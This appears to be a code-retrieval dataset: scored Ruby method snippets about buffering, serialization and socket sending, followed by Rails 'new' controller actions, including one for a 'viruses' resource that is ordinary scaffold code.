{ "docid": "2c5ea0ca8c40b38995c126c44147f449", "score": "0.5810175", "text": "def send_object(obj); end", "title": "" }, { "docid": "14bb94cc9b931b2aa35b9f391dc9d9bb", "score": "0.5806595", "text": "def buffer\n @_buffer\n end", "title": "" }, { "docid": "14bb94cc9b931b2aa35b9f391dc9d9bb", "score": "0.5806595", "text": "def buffer\n @_buffer\n end", "title": "" }, { "docid": "c4e7508df0431245a970c804a42eef94", "score": "0.5800913", "text": "def flush\n return @transport.flush unless @write\n\n out = [@wbuf.length].pack('N')\n # Array#pack should return a BINARY encoded String, so it shouldn't be necessary to force encoding\n out << @wbuf\n @transport.write(out)\n @transport.flush\n @wbuf = Bytes.empty_byte_buffer\n end", "title": "" }, { "docid": "ca668cb0689de570c265dfa37734594d", "score": "0.58001846", "text": "def sync_buffer\n @buffer.string = @buffer.read\n end", "title": "" }, { "docid": "d1e3c14ae0a194bb1aa74b1ff181bf83", "score": "0.5791605", "text": "def buffer; end", "title": "" }, { "docid": "d1e3c14ae0a194bb1aa74b1ff181bf83", "score": "0.5791605", "text": "def buffer; end", "title": "" }, { "docid": "d1e3c14ae0a194bb1aa74b1ff181bf83", "score": "0.5791605", "text": "def buffer; end", "title": "" }, { "docid": "d1e3c14ae0a194bb1aa74b1ff181bf83", "score": "0.5791605", "text": "def buffer; end", "title": "" }, { "docid": "d1e3c14ae0a194bb1aa74b1ff181bf83", "score": "0.5791605", "text": "def buffer; end", "title": "" }, { "docid": "d1e3c14ae0a194bb1aa74b1ff181bf83", "score": "0.5791605", "text": "def buffer; end", "title": "" }, { "docid": "d1e3c14ae0a194bb1aa74b1ff181bf83", "score": "0.5791605", "text": "def buffer; end", "title": "" }, { "docid": "d1e3c14ae0a194bb1aa74b1ff181bf83", "score": "0.5791605", "text": "def buffer; end", "title": "" }, { "docid": "05606ccf4ef2a9233f44a5b9c3c18359", "score": "0.5774327", "text": "def send(pkt)\n data = pkt.pack\n @transport.send data\n end", "title": "" }, { "docid": "b6ee00654728d549d2d0e7a7147db59b", "score": "0.5743239", "text": "def serialize\n @data.pack \"C*\"\n end", "title": "" }, { "docid": "762bca0e2db3ff19d91cc4521bb1e1d9", "score": "0.57278466", "text": "def serialize(object) end", "title": "" }, { "docid": "762bca0e2db3ff19d91cc4521bb1e1d9", "score": "0.57278466", "text": "def serialize(object) end", "title": "" }, { "docid": "5c8ad13079e92cfe58890198c10e81b1", "score": "0.5727364", "text": "def post_buffer=(value)\n @post_buffer = value\n end", "title": "" }, { "docid": "5c8ad13079e92cfe58890198c10e81b1", "score": "0.5727364", "text": "def post_buffer=(value)\n @post_buffer = value\n end", "title": "" }, { "docid": "b6973580b576203ddb8d2f624bc12ada", "score": "0.57196563", "text": "def send(message, _timestamp = -1)\n bytes = if message.respond_to?(:get_packed_message)\n packed = message.get_packed_message\n unpack(packed)\n else\n string = String.from_java_bytes(message.get_message)\n string.unpack('C' * string.length)\n end\n @buffer << bytes\n end", "title": "" }, { "docid": "519504174d21c9f30cf34016e5c9c78d", "score": "0.5717281", "text": "def _write(obj)\n obj.Write()\n end", "title": "" }, { "docid": "a126e681346630c4ec31fd99d7ebfee1", "score": "0.5711759", "text": "def serialize; end", "title": "" }, { "docid": "a126e681346630c4ec31fd99d7ebfee1", "score": "0.5711759", "text": "def serialize; end", "title": "" }, { "docid": "a126e681346630c4ec31fd99d7ebfee1", "score": "0.5711759", "text": "def serialize; end", "title": "" }, { "docid": "a126e681346630c4ec31fd99d7ebfee1", "score": "0.5711759", "text": "def serialize; end", "title": "" }, { "docid": "a126e681346630c4ec31fd99d7ebfee1", "score": "0.5711759", "text": "def serialize; end", "title": "" }, { "docid": "a126e681346630c4ec31fd99d7ebfee1", "score": "0.5711759", "text": "def serialize; end", "title": "" }, { "docid": "a126e681346630c4ec31fd99d7ebfee1", "score": "0.5711759", "text": "def serialize; end", "title": "" }, { "docid": "a126e681346630c4ec31fd99d7ebfee1", "score": "0.5711759", "text": "def serialize; end", "title": "" }, { "docid": "a126e681346630c4ec31fd99d7ebfee1", "score": "0.5711759", "text": "def serialize; end", "title": "" }, { "docid": "4162d1f7f0db0a109fb19719a8ec1f5a", "score": "0.57087684", "text": "def do_send(message)\n @stream_wrapper.clear()\n Erlang::encode(message, @stream_wrapper)\n @stream.write([@stream_wrapper.data.bytesize()].pack('N'))\n @stream.write(@stream_wrapper.data)\n @stream.flush()\n end", "title": "" }, { "docid": "45cf75f87c6c76d9ba9e13a38b7e3391", "score": "0.5704108", "text": "def encode_with_trick_serial_serializer!\n end", "title": "" }, { "docid": "5d53a6c4b3fb18eaf0c76380befe10fb", "score": "0.5680116", "text": "def flush\n return @transport.flush unless @write\n\n out = [@wbuf.length].pack('N')\n out << @wbuf\n @transport.write(out)\n @transport.flush\n @wbuf = ''\n end", "title": "" }, { "docid": "1cc509628e83cd06cc26260e53093294", "score": "0.56774896", "text": "def send_message(msg, sock)\n begin\n log(:debug, \"before schema serialize\")\n msg_hash = SchemaSerializer.new.serialize_message(msg)\n log(:debug, \"before message serialize\")\n sock.write(MessagePack.pack(msg_hash))\n log(:debug, \"after message serialize\")\n sock.flush\n # TODO: improve truncation of large messages\n log(:debug, \"sent: \"+msg_hash.inspect[0..999])\n # if there is an exception, the next read should shutdown the connection properly\n rescue IOError, EOFError, Errno::ECONNRESET, Errno::ECONNABORTED\n rescue Exception => e\n # catch Exception to make sure we don't crash due to unexpected exceptions\n log(:warn, \"unexpected exception during socket write: #{e}\\n#{e.backtrace.join(\"\\n\")}\")\n end\n end", "title": "" }, { "docid": "9af9a2be0bf9d8efb8daa48f174bad37", "score": "0.56722677", "text": "def write(buffer)\n @struct.write(buffer)\n nil\n end", "title": "" }, { "docid": "20cc64e2487c9bb4d040d524b8524a18", "score": "0.56649023", "text": "def _write(obj)\n obj.Write()\n end", "title": "" }, { "docid": "5a67e013a890c4cd6efaddc64c54382e", "score": "0.56606567", "text": "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "title": "" }, { "docid": "5a67e013a890c4cd6efaddc64c54382e", "score": "0.56606567", "text": "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "title": "" }, { "docid": "5a67e013a890c4cd6efaddc64c54382e", "score": "0.56606567", "text": "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "title": "" }, { "docid": "5a67e013a890c4cd6efaddc64c54382e", "score": "0.56606567", "text": "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "title": "" }, { "docid": "5a67e013a890c4cd6efaddc64c54382e", "score": "0.56606567", "text": "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "title": "" }, { "docid": "5a67e013a890c4cd6efaddc64c54382e", "score": "0.56606567", "text": "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "title": "" }, { "docid": "5a67e013a890c4cd6efaddc64c54382e", "score": "0.56606567", "text": "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "title": "" }, { "docid": "5a67e013a890c4cd6efaddc64c54382e", "score": "0.56606567", "text": "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "title": "" }, { "docid": "5a67e013a890c4cd6efaddc64c54382e", "score": "0.56606567", "text": "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "title": "" }, { "docid": "5a67e013a890c4cd6efaddc64c54382e", "score": "0.56606567", "text": "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "title": "" }, { "docid": "5a67e013a890c4cd6efaddc64c54382e", "score": "0.56606567", "text": "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "title": "" }, { "docid": "2b029703345b6779a165704ac95fbf49", "score": "0.56509835", "text": "def sending data\r\n @adapter.sending data\r\n end", "title": "" }, { "docid": "ca23b83ec105598d572c40102dc5e438", "score": "0.5649431", "text": "def encode_body(buffer)\n buffer << {\n :source => source\n }.to_msgpack\n end", "title": "" }, { "docid": "962d5fb0e8b384f5445d3b1cd17fdf9f", "score": "0.5638338", "text": "def serialize\n @raw_data\n end", "title": "" }, { "docid": "d162e297d0f84ca205afa381c3f6a428", "score": "0.56292164", "text": "def serialize\n Marshal.dump(self)\n end", "title": "" }, { "docid": "7996562b8a1e56b8aded0c9970466ba9", "score": "0.5628324", "text": "def _send_payload payload\n write payload\n end", "title": "" }, { "docid": "18af0e13b9b12b148e16a88ae197416c", "score": "0.5628014", "text": "def send(buf)\n @socket.write(buf)\n end", "title": "" }, { "docid": "b5908e7f00df2ccd41c3816bdd4673ea", "score": "0.5625287", "text": "def make_buffer(obj)\n bos = java.io.ByteArrayOutputStream.new\n oos = java.io.ObjectOutputStream.new(bos)\n oos.writeObject(obj)\n buff = bos.toByteArray\nend", "title": "" }, { "docid": "76d782a6690674d3cc825e9f6e67f127", "score": "0.5603949", "text": "def sendraw(buf)\n sendpacket(buf)\n end", "title": "" }, { "docid": "3446000edd7dba71b7934659d21a6378", "score": "0.55955875", "text": "def transmit\n if @frames.any? # check is exists something on buffer\n f = File.open(RubyCrc::PAYLOAD_OUT, \"w\")\n\n @frames.each do |frame|\n f.puts frame.to_a.flatten.join(' - ')\n end\n\n f.close\n end\n end", "title": "" }, { "docid": "1878488be8eccaab8503b94345970dc3", "score": "0.55854064", "text": "def serialize(buffer = BSON::ByteBuffer.new, max_bson_size = nil)\n super\n add_check_sum(buffer)\n buffer\n end", "title": "" }, { "docid": "f60df0e9c0f832339c495245eaec0700", "score": "0.55816096", "text": "def save_data!\n data = {}\n data[:byte_array] = @byte_array.bytes\n Serializer.serialize(datafile_name, data)\n end", "title": "" }, { "docid": "7126205d5f0dae97450160c0f2c522a7", "score": "0.5580933", "text": "def prepare_serialization!; end", "title": "" }, { "docid": "7126205d5f0dae97450160c0f2c522a7", "score": "0.5580933", "text": "def prepare_serialization!; end", "title": "" }, { "docid": "adfa64e7ec98cecdfd0c91ba2f5f3be6", "score": "0.5579425", "text": "def encode_body(buffer)\n # Do nothing.\n end", "title": "" }, { "docid": "97662e2bb695c88ebcc0d58d735c5eed", "score": "0.557244", "text": "def send data\n end", "title": "" }, { "docid": "97662e2bb695c88ebcc0d58d735c5eed", "score": "0.557244", "text": "def send data\n end", "title": "" }, { "docid": "e473fae15de8e2142359c44a25fb4d7b", "score": "0.55602133", "text": "def send(buffer, flags=0)\n @ssl.syswrite(buffer)\n end", "title": "" }, { "docid": "89a4163670a56ef4a1a7cb41270891ce", "score": "0.55601555", "text": "def send_message(socket)\n socket.write(pack)\n end", "title": "" }, { "docid": "7c83d6adf126133d081f6b72af7f51f6", "score": "0.55591285", "text": "def encode_body(buffer)\n buffer << action_id.to_msgpack\n end", "title": "" }, { "docid": "4b258e2bf396a5e683d2bbc469b318bd", "score": "0.55564547", "text": "def write(buffer)\n struct.write(buffer)\n nil\n end", "title": "" }, { "docid": "9e8493b4b31c50c3d32a5d38301e834e", "score": "0.5546299", "text": "def buffer\n @buffer\n end", "title": "" } ]
a9ff437111efbee3d5f0a9fc65568216
GET /viruses/new GET /viruses/new.json
[ { "docid": "64ee129f396608056cd1f6f9dce1ed22", "score": "0.8109096", "text": "def new\n @virus = Virus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @virus }\n end\n end", "title": "" } ]
[ { "docid": "17d7da60333d97967bcd96628c11fd45", "score": "0.6973489", "text": "def new\n json_404\n end", "title": "" }, { "docid": "692978a675e47c377846ac169c4e5639", "score": "0.6761377", "text": "def new\n @probe = Probe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @probe }\n end\n end", "title": "" }, { "docid": "3766dc1f5ef6b1cbdfd2aa827e688e7b", "score": "0.67317116", "text": "def new\n @vpn = Vpn.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vpn }\n end\n end", "title": "" }, { "docid": "ff776ab942cf80b20cf468535b6dc67a", "score": "0.6670871", "text": "def new\n @serv = Serv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @serv }\n end\n end", "title": "" }, { "docid": "cc2a22523b24d717f353c0856ff14b2c", "score": "0.66436243", "text": "def new\n @vault = Vault.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vault }\n end\n end", "title": "" }, { "docid": "2fdd2206d1ded43294f5ef4d60182375", "score": "0.66179055", "text": "def new\n @vtype = Vtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vtype }\n end\n end", "title": "" }, { "docid": "9f9ab3174b6baf1e58a09603d4f851eb", "score": "0.6600949", "text": "def new\n @visit = Visit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visit }\n end\n end", "title": "" }, { "docid": "9f9ab3174b6baf1e58a09603d4f851eb", "score": "0.6600949", "text": "def new\n @visit = Visit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visit }\n end\n end", "title": "" }, { "docid": "f6844c0eacdc406398e780592f0fdeac", "score": "0.65992063", "text": "def new\n @used_vinyl = UsedVinyl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @used_vinyl }\n end\n end", "title": "" }, { "docid": "b7ee736c99988d10c4423a1ee9a3896f", "score": "0.65692425", "text": "def new\n @nova = Nova.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nova }\n end\n end", "title": "" }, { "docid": "18feca2763efb163681859f83402563f", "score": "0.6555941", "text": "def new\n @inventory = Inventory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inventory }\n end\n end", "title": "" }, { "docid": "eb99e80c7d24768c0a74bd51be5a7233", "score": "0.65505016", "text": "def new\n @viatura = Viatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @viatura }\n end\n end", "title": "" }, { "docid": "4b21856125d065d218877a3caa48be35", "score": "0.6546148", "text": "def new\n @ping = Ping.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ping }\n end\n end", "title": "" }, { "docid": "1286fdcff1a485fbd1e8e8cedb1d85f5", "score": "0.65409905", "text": "def new\n @virtualmachine = Virtualmachine.new\n\n #generates iso list selction for vm creation(should be a real file managment system)\n isofind_sys = `find /var/lib/libvirt/images/isos -iname \"*iso\"` \n @isolist = isofind_sys.split(\"\\n\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @virtualmachine }\n end\n end", "title": "" }, { "docid": "80012bc3f4d86d51bd37a18e075068e6", "score": "0.6537356", "text": "def new\n @historia = Historia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @historia }\n end\n end", "title": "" }, { "docid": "caed91e58db743c41c75e2d6afc8a839", "score": "0.65268", "text": "def new\n @ivr = Ivr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ivr }\n end\n end", "title": "" }, { "docid": "3f1642e59b185de41582db84000acdea", "score": "0.65245885", "text": "def new\n @version = Version.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end", "title": "" }, { "docid": "3f1642e59b185de41582db84000acdea", "score": "0.65245885", "text": "def new\n @version = Version.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end", "title": "" }, { "docid": "d43f688f68186bdcba32fd225b24862d", "score": "0.6523826", "text": "def new\n @statua = Statua.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @statua }\n end\n end", "title": "" }, { "docid": "128ff7770eaa897f0bc1a87f9d20537a", "score": "0.6520538", "text": "def new\n @vox = Vox.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vox }\n end\n end", "title": "" }, { "docid": "a3291847bb0d42c16a009bf87059e3a8", "score": "0.65182185", "text": "def new\n @virtual_machine = VirtualMachine.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @virtual_machine }\n end\n end", "title": "" }, { "docid": "081a625633f03506b1aa057910e0f2eb", "score": "0.6517595", "text": "def new\n @pi = Pi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pi }\n end\n end", "title": "" }, { "docid": "19744bbd2dd01dcff3f24ceb47cba7b4", "score": "0.6516192", "text": "def new\n @vine = Vine.new\n\n respond_to do |format|\n format.html # new.html.haml\n format.json { render json: @vine }\n end\n end", "title": "" }, { "docid": "7b689672fb051affca32a268fdcb4736", "score": "0.6505177", "text": "def new\n\tuuid = SecureRandom.uuid\n\t@new_url = searches_url + \"/\" + uuid # creates http://localhost/search/123-34552-adsfrjha-234\n\tresponse.set_header(\"Location\", @new_url)\n respond_to do |format|\n format.html { render :new, status: 201 }\n format.json { render :new, status: 201 }\n format.jsonld { render :new, formats: :json, status: 201 }\n end\n\t\n end", "title": "" }, { "docid": "e1bc9a5c7d5dc36da2fd873d88e65d1f", "score": "0.64972776", "text": "def new\n\tputs \"new\"\n @resource = Resource.new\n\n respond_to do |format|\n format.json { render json: @resource }\n#\t format.html { render html: @resources }\n end\n end", "title": "" }, { "docid": "6b45b8410fe39428937801314c41c136", "score": "0.6484092", "text": "def show\n @virus = Virus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @virus }\n end\n end", "title": "" }, { "docid": "8125285cb0acf9169a633ab4f7608096", "score": "0.6478813", "text": "def new\n @plant = Plant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plant }\n end\n end", "title": "" }, { "docid": "4cd883aea0ff5d109bcf3d6a7d1d4f83", "score": "0.6478679", "text": "def new\n @universe = Universe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @universe }\n end\n end", "title": "" }, { "docid": "03e47cc10cbc8d19984904c4f4fff85d", "score": "0.64745593", "text": "def new\n @river = River.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @river }\n end\n end", "title": "" }, { "docid": "26276f6bab4588390c5eeacea67809a5", "score": "0.6465765", "text": "def new\n @website = Website.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @website }\n end\n end", "title": "" }, { "docid": "26276f6bab4588390c5eeacea67809a5", "score": "0.6465765", "text": "def new\n @website = Website.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @website }\n end\n end", "title": "" }, { "docid": "26276f6bab4588390c5eeacea67809a5", "score": "0.6465765", "text": "def new\n @website = Website.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @website }\n end\n end", "title": "" }, { "docid": "1caed233a279563a3c8dc6e9655a6266", "score": "0.64639604", "text": "def new\n @visitador = Visitador.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visitador }\n end\n end", "title": "" }, { "docid": "8f8d1db4c6177f95b17c22cd916c94f3", "score": "0.64465195", "text": "def new\n @cap = Cap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cap }\n end\n end", "title": "" }, { "docid": "9d03fd49daac311b55f16a9c5d8ad7c6", "score": "0.6444756", "text": "def new\n @v_status = VStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @v_status }\n end\n end", "title": "" }, { "docid": "072bf098817af52cd41e26b2986aaec7", "score": "0.64414924", "text": "def new\n @website = Website.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @website }\n end\n end", "title": "" }, { "docid": "676636a056ac86a6b32882680db8e259", "score": "0.64316714", "text": "def new\n @purge = Purge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purge }\n end\n end", "title": "" }, { "docid": "b3b3bffab97a1e514fbfeee8efb33488", "score": "0.6429936", "text": "def new\n @panic = Panic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @panic }\n end\n end", "title": "" }, { "docid": "8bee890380b457c12b1cf1c6e9001ca0", "score": "0.64298534", "text": "def new\n @admin_vat = Admin::Vat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_vat }\n end\n end", "title": "" }, { "docid": "f5222c7fb3a79b38e8879bd4961968ec", "score": "0.6423303", "text": "def create\n @virus_probe = VirusProbe.new(virus_probe_params)\n\n respond_to do |format|\n if @virus_probe.save\n format.html { redirect_to @virus_probe, notice: 'Virus probe was successfully created.' }\n format.json { render action: 'show', status: :created, location: @virus_probe }\n else\n format.html { render action: 'new' }\n format.json { render json: @virus_probe.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd09d0872d30696e1a0be67dca7edff5", "score": "0.6422773", "text": "def new\n @volume = OpenStack::Nova::Volume::Volume.new()\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @volume }\n end\n end", "title": "" }, { "docid": "697f09f0dd9849a4bdd3802588969afd", "score": "0.6413729", "text": "def new\n page \"asset\"\n @asset = Asset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asset }\n end\n end", "title": "" }, { "docid": "ac197b5f5298cde93fcc1a687674f783", "score": "0.640445", "text": "def new\n @vinyl = Vinyl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vinyl }\n end\n end", "title": "" }, { "docid": "830ab9cffd4e61aaa328b639e23d9a1b", "score": "0.6402608", "text": "def new\n @servico = Servico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @servico }\n end\n end", "title": "" }, { "docid": "830ab9cffd4e61aaa328b639e23d9a1b", "score": "0.64018095", "text": "def new\n @servico = Servico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @servico }\n end\n end", "title": "" }, { "docid": "2b541d02cf6f9c1cd736662470a44d0c", "score": "0.6401667", "text": "def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end", "title": "" }, { "docid": "e67756e3e911801baed1b7294d642e59", "score": "0.6400984", "text": "def new\n @vendor = Vendor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vendor }\n end\n end", "title": "" }, { "docid": "e67756e3e911801baed1b7294d642e59", "score": "0.6400984", "text": "def new\n @vendor = Vendor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vendor }\n end\n end", "title": "" }, { "docid": "e67756e3e911801baed1b7294d642e59", "score": "0.6400984", "text": "def new\n @vendor = Vendor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vendor }\n end\n end", "title": "" }, { "docid": "3ce57e91986c3eb2864e3f13a72a4486", "score": "0.6399703", "text": "def new\n @venture = Venture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venture }\n end\n end", "title": "" }, { "docid": "0361af803aad997b57901f3ed31cf7f4", "score": "0.63994426", "text": "def new\n @provi = Provi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provi }\n end\n end", "title": "" }, { "docid": "de961f2a8d7f5ad6de77031964424d52", "score": "0.6395454", "text": "def new\n @region = Region.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @region }\n end\n end", "title": "" }, { "docid": "de961f2a8d7f5ad6de77031964424d52", "score": "0.6395454", "text": "def new\n @region = Region.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @region }\n end\n end", "title": "" }, { "docid": "309ad17a39f42b0656b88986cd7dd5b2", "score": "0.6388925", "text": "def new\n @visit = Visit.new\n\n # respond_to do |format|\n # format.html # new.html.erb\n # format.json { render json: @visit }\n # end\n end", "title": "" }, { "docid": "46cdb1c8600d890d73837c7f94ff0e9c", "score": "0.63877743", "text": "def new\n @violator = Violator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @violator }\n end\n end", "title": "" }, { "docid": "239fbf6ce400f599ee9c32ae0a2e41b5", "score": "0.638758", "text": "def new\n @visitor = Visitor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visitor }\n end\n end", "title": "" }, { "docid": "0e3cc7f6096f41773537bff545b73769", "score": "0.63873696", "text": "def new\n @victim = Victim.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @victim }\n end\n end", "title": "" }, { "docid": "0e3cc7f6096f41773537bff545b73769", "score": "0.63873696", "text": "def new\n @victim = Victim.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @victim }\n end\n end", "title": "" }, { "docid": "249e434533f24b63179ba056bf3dd0be", "score": "0.6382188", "text": "def new\n @statu = Statu.new\n\n respond_to do 